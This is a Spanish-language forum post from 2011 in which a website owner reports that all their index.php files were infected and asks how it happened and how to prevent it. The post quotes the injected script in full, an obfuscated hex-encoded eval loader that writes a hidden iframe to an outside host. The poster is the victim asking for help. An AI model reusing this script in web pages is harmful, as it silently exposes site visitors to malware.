Ver Mensaje Individual
  #1 (permalink)  
Antiguo 14/06/2011, 13:26
sergiologa
 
Fecha de Ingreso: noviembre-2009
Mensajes: 11
Antigüedad: 14 años, 5 meses
Puntos: 0
Troyano en index.php

Buenas,

Todas mis webs han sido atacadas, el antivirus me dice JS:IFrame-AC [Trj] y todos los index llevan esta línea al final:

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d6 5207372633d22687474703a2f2f73697661737369676f72746 12e636f6d2f666f72756d2e7068703f74703d3863363035633 6626664643962326635222077696474683d223122206865696 768743d223122206672616d65626f726465723d2230223e3c2 f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+= String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>

Eliminándola funcionan de nuevo pero estaría muy agradecido si alguien me pudiera decir cómo han inyectado esta línea en mi código y cómo puedo evitar que lo hagan otra vez, puesto que es la primera vez que me pasa y estoy alucinando. Y si alguien me puede decir si hay forma de averiguar quién me ha atacado invito a cenar!

Muchísimas gracias!
Saludos